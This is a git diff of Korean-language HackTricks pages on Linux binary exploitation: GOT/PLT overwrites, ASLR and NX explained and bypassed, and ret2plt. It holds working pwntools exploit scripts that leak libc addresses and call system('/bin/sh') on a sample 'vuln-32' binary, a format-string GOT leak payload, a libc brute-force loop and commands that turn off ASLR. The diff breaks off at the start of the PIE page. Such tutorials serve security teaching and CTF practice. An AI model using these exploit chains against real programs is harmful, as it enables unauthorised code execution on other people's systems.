diff --git a/SUMMARY.md b/SUMMARY.md index 2cefc1c32..327280410 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -705,15 +705,19 @@ * [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md) * [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md) * [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md) - * [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md) - * [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md) - * [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md) - * [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md) - * [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md) + * [Common Binary Protections & Bypasses](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md) + * [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md) + * [Ret2plt](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md) + * [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md) + * [PIE](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md) + * [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) + * [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md) + * [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md) + * [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) + * [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md) * [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md) * [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md) * [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md) - * [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md) * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md) * [Exploiting Tools](exploiting/tools/README.md) * [PwnTools](exploiting/tools/pwntools.md) diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md index 11664d042..7ab56c766 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -4,13 +4,13 @@ htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **AWS 해킹을 배우세요**! -HackTricks를 지원하는 다른 방법: +다른 방법으로 HackTricks를 지원하는 방법: -* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. -* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**을 통해 **해킹 요령을 공유**하세요. @@ -18,21 +18,21 @@ HackTricks를 지원하는 다른 방법: ### **GOT: Global Offset Table** -**Global Offset Table (GOT)**은 **동적으로 연결된 이진 파일**에서 **외부 함수의 주소를 관리**하는 메커니즘입니다. 이러한 **주소는 실행 시간까지 알려지지 않기 때문에** (동적 연결 때문에), GOT는 이러한 외부 심볼의 주소가 **해결된 후에 동적으로 업데이트**되는 방법을 제공합니다. +**Global Offset Table (GOT)**은 **동적으로 연결된 이진 파일**에서 **외부 함수의 주소를 관리**하는 메커니즘입니다. 이러한 **주소는 런타임에서 알려지지 않기 때문에** (동적 연결 때문에), GOT는 이러한 외부 심볼의 주소가 **해결된 후에 동적으로 업데이트**될 수 있는 방법을 제공합니다. -GOT의 각 항목은 이진 파일이 호출할 수 있는 외부 라이브러리의 심볼에 해당합니다. **함수가 처음 호출될 때 동적 링커에 의해 실제 주소가 해결**되고 GOT에 저장됩니다. 동일한 함수에 대한 후속 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다. +GOT의 각 항목은 이진 파일이 호출할 수 있는 외부 라이브러리의 심볼에 해당합니다. **함수가 처음 호출될 때, 동적 링커에 의해 실제 주소가 해결되고 GOT에 저장**됩니다. 동일한 함수에 대한 후속 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다. ### **PLT: Procedure Linkage Table** -**Procedure Linkage Table (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하기 위한 트램폴린 역할을 합니다. 바이너리가 **외부 함수를 처음 호출하면 해당 함수와 관련된 PLT 항목으로 제어가 전달**됩니다. 이 PLT 항목은 함수의 주소가 아직 해결되지 않았다면 동적 링커를 호출하여 주소를 해결합니다. 주소가 해결되면 GOT에 저장됩니다. +**Procedure Linkage Table (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하기 위한 트램폴린 역할을 합니다. 이진 파일이 **외부 함수를 처음 호출하면 해당 함수와 관련된 PLT 항목으로 제어가 전달**됩니다. 이 PLT 항목은 함수의 주소가 이미 해결되지 않았다면 동적 링커를 호출하여 주소를 해결합니다. 주소가 해결되면 GOT에 저장됩니다. -**따라서,** 외부 함수 또는 변수의 주소가 해결되면 GOT 항목이 직접 사용됩니다. **PLT 항목은 동적 링커를 통해 이러한 주소의 초기 해결을 용이하게**합니다. +**따라서,** 외부 함수 또는 변수의 주소가 해결되면 GOT 항목이 직접 사용됩니다. **PLT 항목은 동적 링커를 통해 이러한 주소의 초기 해결을 용이하게 합니다.** ## 실행 얻기 ### GOT 확인 -**`objdump -s -j .got ./exec`**로 GOT 테이블 주소를 얻으세요. +**`objdump -s -j .got ./exec`**로 GOT 테이블 주소를 얻습니다. ![](<../../../.gitbook/assets/image (619).png>) @@ -46,32 +46,32 @@ GEF를 사용하여 **디버깅 세션을 시작**하고 **`got`**을 실행하 ### GOT2Exec -바이너리에서 GOT에는 **함수의 주소 또는** 함수 주소를 로드할 **PLT** 섹션이 있습니다. 임의 쓰기의 목표는 나중에 **실행될 함수의 GOT 항목을** 덮어쓰는 것입니다. 이때 **예를 들어** **`system`** **함수의 PLT 주소로 덮어쓰기**입니다. +이진 파일에서 GOT에는 **함수의 주소 또는** 함수 주소를 로드할 **PLT** 섹션이 있습니다. 임의 쓰기의 목표는 나중에 실행될 함수의 GOT 항목을 **예를 들어 `system` 함수의 PLT 주소로 덮어쓰는 것**입니다. -이상적으로, **제어할 수 있는 매개변수로 호출될 함수의 GOT**를 **덮어쓸 것**입니다 (따라서 시스템 함수로 전송되는 매개변수를 제어할 수 있게 됩니다). +이상적으로, **제어할 수 있는 매개변수로 호출될 함수의 GOT**를 **덮어쓸 것**입니다 (`system` 함수에 전달되는 매개변수를 제어할 수 있게 됩니다). -**`system`**이 **스크립트에서 사용되지 않으면** 시스템 함수에는 PLT 항목이 **없을 것**입니다. 이러한 시나리오에서는 먼저 `system` 함수의 주소를 누출하고 그 주소를 가리키도록 GOT를 덮어쓰어야 합니다. +**`system`**이 **스크립트에서 사용되지 않으면** 시스템 함수에는 PLT 항목이 **없을 것**입니다. 이 시나리오에서는 먼저 `system` 함수의 주소를 누출하고 그 주소를 가리키도록 GOT를 덮어쓰어야 합니다. **`objdump -j .plt -d ./vuln_binary`**로 PLT 주소를 볼 수 있습니다. ## **보호** -**FullRELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 **GOT 테이블을 읽기 전용**으로 만들어 이러한 기술을 방지하는 것을 목적으로 합니다: +**FullRELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 **GOT 테이블을 읽기 전용**으로 만들어 이러한 기술에 대응하도록 설계되었습니다: -{% content-ref url="../common-binary-protections/relro.md" %} -[relro.md](../common-binary-protections/relro.md) +{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} +[relro.md](../common-binary-protections-and-bypasses/relro.md) {% endcontent-ref %}
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **AWS 해킹을 배우세요**! -HackTricks를 지원하는 다른 방법: +다른 방법으로 HackTricks를 지원하는 방법: -* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. -* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**을 통해 **해킹 요령을 공유**하세요.
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md new file mode 100644 index 000000000..11f12109c --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md @@ -0,0 +1,53 @@ +# 일반적인 이진 보호 기능 + +
+ +htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배우세요! + +HackTricks를 지원하는 다른 방법: + +* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **당신의 해킹 기술을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요. + +
+ +## 코어 파일 활성화 + +**코어 파일**은 프로세스가 충돌할 때 운영 체제에서 생성하는 파일 유형입니다. 이러한 파일은 충돌한 프로세스의 메모리 이미지를 캡처하며, 프로세스의 메모리, 레지스터, 프로그램 카운터 상태 등이 포함됩니다. 이 스냅샷은 디버깅 및 충돌 발생 이유를 이해하는 데 매우 유용할 수 있습니다. + +### **코어 덤프 생성 활성화** + +기본적으로 많은 시스템은 코어 파일의 크기를 0으로 제한하여 (다시 말해, 코어 파일을 생성하지 않음) 디스크 공간을 절약합니다. 코어 파일 생성을 활성화하려면 `ulimit` 명령어(배시 또는 유사한 쉘에서)를 사용하거나 시스템 전체 설정을 구성할 수 있습니다. + +* **ulimit 사용**: `ulimit -c unlimited` 명령어를 사용하면 현재 쉘 세션에서 무제한 크기의 코어 파일을 생성할 수 있습니다. 이는 디버깅 세션에 유용하지만 부팅이나 새 세션 간에는 지속되지 않습니다. +```bash +ulimit -c unlimited +``` +* **지속적인 구성**: 더 영구적인 해결책으로, `/etc/security/limits.conf` 파일을 편집하여 `* soft core unlimited`와 같은 줄을 추가할 수 있습니다. 이는 모든 사용자가 세션에서 ulimit을 수동으로 설정하지 않고 무제한 크기의 코어 파일을 생성할 수 있도록 합니다. +```markdown +* soft core unlimited +``` +### **GDB를 사용하여 코어 파일 분석하기** + +코어 파일을 분석하려면 GDB( GNU 디버거)와 같은 디버깅 도구를 사용할 수 있습니다. 실행 파일이 코어 덤프를 생성하고 코어 파일의 이름이 `core_file`인 경우 다음과 같이 분석을 시작할 수 있습니다: +```bash +gdb /path/to/executable /path/to/core_file +``` +이 명령은 실행 파일과 코어 파일을 GDB에로드하여 충돌 시점의 프로그램 상태를 검사할 수 있게 합니다. GDB 명령을 사용하여 스택을 탐색하고 변수를 검사하며 충돌 원인을 이해할 수 있습니다. + +
+ +htARTE (HackTricks AWS Red Team Expert) htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요! + +HackTricks를 지원하는 다른 방법: + +* **회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md new file mode 100644 index 000000000..c8ae12d55 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md @@ -0,0 +1,144 @@ +# ASLR + +
+ +htARTE (HackTricks AWS Red Team Expert)에서 제로부터 영웅까지 AWS 해킹 배우기! + +HackTricks를 지원하는 다른 방법: + +* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요. + +
+ +## 기본 정보 + +**Address Space Layout Randomization (ASLR)**은 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 **메모리 주소를 무작위로 변경**합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 상당히 어려워져 공격자가 스택, 힙, 라이브러리 등을 예측하여 특정 유형의 공격(특히 버퍼 오버플로우)을 완화하는 데 도움이 됩니다. + +### **ASLR 상태 확인** + +Linux 시스템에서 ASLR 상태를 **확인**하려면 `/proc/sys/kernel/randomize_va_space` 파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR 유형을 결정합니다: + +* **0**: 무작위화 없음. 모든 것이 정적입니다. +* **1**: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다. +* **2**: 완전한 무작위화. 보수적인 무작위화에 추가로 `brk()`를 통해 관리되는 메모리가 무작위화됩니다. + +다음 명령을 사용하여 ASLR 상태를 확인할 수 있습니다: +```bash +cat /proc/sys/kernel/randomize_va_space +``` +### **ASLR 비활성화** + +ASLR를 **비활성화**하려면 `/proc/sys/kernel/randomize_va_space`의 값을 **0**으로 설정합니다. ASLR를 비활성화하는 것은 일반적으로 테스트 또는 디버깅 시나리오 이외에는 권장되지 않습니다. 다음은 비활성화하는 방법입니다: +```bash +echo 0 | sudo tee /proc/sys/kernel/randomize_va_space +``` +ASLR를 실행 중에 비활성화할 수도 있습니다: +```bash +setarch `arch` -R ./bin args +setarch `uname -m` -R ./bin args +``` +### **ASLR 활성화** + +ASLR을 **활성화**하려면 `/proc/sys/kernel/randomize_va_space` 파일에 **2** 값을 작성할 수 있습니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령을 사용할 수 있습니다: +```bash +echo 2 | sudo tee /proc/sys/kernel/randomize_va_space +``` +### **부팅 시 지속성** + +`echo` 명령어로 한 변경 사항은 일시적이며 재부팅시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 `/etc/sysctl.conf` 파일을 편집하여 다음 라인을 추가하거나 수정해야 합니다: +```tsconfig +kernel.randomize_va_space=2 # Enable ASLR +# or +kernel.randomize_va_space=0 # Disable ASLR +``` +`/etc/sysctl.conf` 파일을 편집한 후 다음을 사용하여 변경 사항을 적용하십시오: +```bash +sudo sysctl -p +``` +이렇게 하면 ASLR 설정이 다시 부팅되어도 유지됩니다. + +## **우회 방법** + +### 32비트 무차별 대입 + +PaX는 프로세스 주소 공간을 **3 그룹**으로 나눕니다: + +* **코드와 데이터** (초기화된 및 초기화되지 않은): `.text`, `.data`, 및 `.bss` —> `delta_exec` 변수에서 **16비트**의 엔트로피. 이 변수는 각 프로세스마다 무작위로 초기화되며 초기 주소에 추가됩니다. +* `mmap()`로 할당된 **메모리** 및 **공유 라이브러리** —> **16비트**, `delta_mmap`이라고 불림. +* **스택** —> **24비트**, `delta_stack`이라고 불림. 그러나 실제로 **11비트**를 사용합니다 (10번째부터 20번째 바이트까지 포함), **16바이트**에 정렬됨 —> 이로 인해 **524,288개의 가능한 실제 스택 주소**가 생성됩니다. + +이전 데이터는 32비트 시스템을 위한 것이며 최종 엔트로피 감소로 인해 ASLR을 우회하여 공격이 성공적으로 완료될 때까지 실행을 여러 번 시도할 수 있습니다. + +#### 무차별 대입 아이디어: + +* 공격이 로컬인 경우, libc의 기본 주소를 무차별 대입할 수 있습니다 (32비트 시스템에 유용함): +```python +for off in range(0xb7000000, 0xb8000000, 0x1000): +``` +* 원격 서버를 공격할 때 `libc` 함수 `usleep`의 주소를 **브루트 포스**하여 10을 인자로 전달할 수 있습니다. 서버가 응답하는 데 10초 더 걸린다면, 이 함수의 주소를 찾은 것입니다. + +{% hint style="success" %} +64비트 시스템에서 엔트로피가 훨씬 높아 이것은 불가능합니다. +{% endhint %} + +### 누출이 있는 경우 + +* **도전 과제는 누출을 제공하는 것입니다** + +누출이 주어진 경우 (쉬운 CTF 도전 과제), 해당 누출로부터 오프셋을 계산할 수 있습니다 (예를 들어, 공격 중인 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정합니다). 이 예제 exploit은 [**여기의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하십시오): +```python +from pwn import * + +elf = context.binary = ELF('./vuln-32') +libc = elf.libc +p = process() + +p.recvuntil('at: ') +system_leak = int(p.recvline(), 16) + +libc.address = system_leak - libc.sym['system'] +log.success(f'LIBC base: {hex(libc.address)}') + +payload = flat( +'A' * 32, +libc.sym['system'], +0x0, # return address +next(libc.search(b'/bin/sh')) +) + +p.sendline(payload) + +p.interactive() +``` +* **ret2plt** + +버퍼 오버플로우를 악용하여 **ret2plt**를 이용하여 libc에서 함수의 주소를 유출할 수 있습니다. 확인하세요: + +{% content-ref url="ret2plt.md" %} +[ret2plt.md](ret2plt.md) +{% endcontent-ref %} + +* **Format Strings Arbitrary Read** + +ret2plt와 마찬가지로, 포맷 문자열 취약점을 통해 임의의 읽기가 가능하다면 **GOT**에서 **libc 함수**의 주소를 유출할 수 있습니다. 다음은 [**여기에서의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)입니다: +```python +payload = p32(elf.got['puts']) # p64() if 64-bit +payload += b'|' +payload += b'%3$s' # The third parameter points at the start of the buffer + +# this part is only relevant if you need to call the main function again + +payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer +payload += p32(elf.symbols['main']) +``` +### Ret2ret + +스택 내부 주소를 악용하여 ASLR을 우회해보세요: + +{% content-ref url="../../stack-overflow/ret2ret.md" %} +[ret2ret.md](../../stack-overflow/ret2ret.md) +{% endcontent-ref %} diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md new file mode 100644 index 000000000..a9d8fd21d --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -0,0 +1,96 @@ +# Ret2plt + +
+ +htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**! + +다른 방법으로 HackTricks를 지원하는 방법: + +- **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! +- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. +- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. + +
+ +## 기본 정보 + +이 기술의 목표는 **PLT에서 함수의 주소를 누설**하여 ASLR을 우회할 수 있도록 하는 것입니다. 예를 들어, libc에서 `puts` 함수의 주소를 누설하면 **`libc`의 베이스가 어디인지 계산**하고 **`system`**과 같은 다른 함수에 액세스하기 위한 오프셋을 계산할 수 있습니다. + +이는 `pwntools` 페이로드를 사용하여 수행할 수 있습니다 ([**여기에서**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)). +```python +# 32-bit ret2plt +payload = flat( +b'A' * padding, +elf.plt['puts'], +elf.symbols['main'], +elf.got['puts'] +) + +# 64-bit +payload = flat( +b'A' * padding, +POP_RDI, +elf.got['puts'] +elf.plt['puts'], +elf.symbols['main'] +) +``` +**`puts`**가 `GOT`에 위치한 `puts`의 주소로 호출될 때 주목하세요. 이는 `puts`가 `GOT` 항목을 출력할 때, 이 **항목은 메모리에 있는 `puts`의 주소를 포함**하게 되기 때문입니다. + +또한, `main`의 주소가 exploit에서 사용되어 `puts`가 실행을 마치면 **바이너리가 종료되는 대신 `main`을 다시 호출**하므로 유출된 주소는 계속 유효할 것입니다. + +{% hint style="danger" %} +이 작업이 작동하려면 바이너리가 **PIE로 컴파일되어서는 안 되거나** `PLT`, `GOT`, `main`의 주소를 알기 위해 **PIE를 우회할 유출을 찾아야 합니다**. +{% endhint %} + +[**이 우회의 전체 예제를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). 이것은 해당 예제의 최종 exploit이었습니다: +```python +from pwn import * + +elf = context.binary = ELF('./vuln-32') +libc = elf.libc +p = process() + +p.recvline() + +payload = flat( +'A' * 32, +elf.plt['puts'], +elf.sym['main'], +elf.got['puts'] +) + +p.sendline(payload) + +puts_leak = u32(p.recv(4)) +p.recvlines(2) + +libc.address = puts_leak - libc.sym['puts'] +log.success(f'LIBC base: {hex(libc.address)}') + +payload = flat( +'A' * 32, +libc.sym['system'], +libc.sym['exit'], +next(libc.search(b'/bin/sh\x00')) +) + +p.sendline(payload) + +p.interactive() +``` +
+ +htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배우세요! + +다른 방법으로 HackTricks를 지원하는 방법: + +* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md new file mode 100644 index 000000000..da11e1897 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md @@ -0,0 +1,26 @@ +# No-exec / NX + +
+ +htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요! + +다른 방법으로 HackTricks를 지원하는 방법: + +- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요 +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. +- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요. + +
+ +## 기본 정보 + +**No-Execute (NX)** 비트는 인텔 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로** 공격의 효과를 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면 **실행 가능한 코드**와 **데이터**를 위해 의도된 메모리 영역을 구분합니다. 핵심 아이디어는 악의적인 코드를 예를 들어 스택에 넣고 실행 흐름을 해당 코드로 이동시켜 버퍼 오버플로 취약점을 통해 악성 코드를 실행하는 공격자를 방지하는 것입니다. + +## 우회 + +- [**ROP**](../stack-overflow/rop-return-oriented-programing.md)와 같은 기술을 사용하여 바이너리에 이미 존재하는 실행 가능한 코드 청크를 실행하여 이 보호를 우회할 수 있습니다. +- [**Ret2libc**](../stack-overflow/ret2lib/) +- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md) +- **Ret2...** diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md new file mode 100644 index 000000000..f34e3164c --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md @@ -0,0 +1,55 @@ +# PIE + +
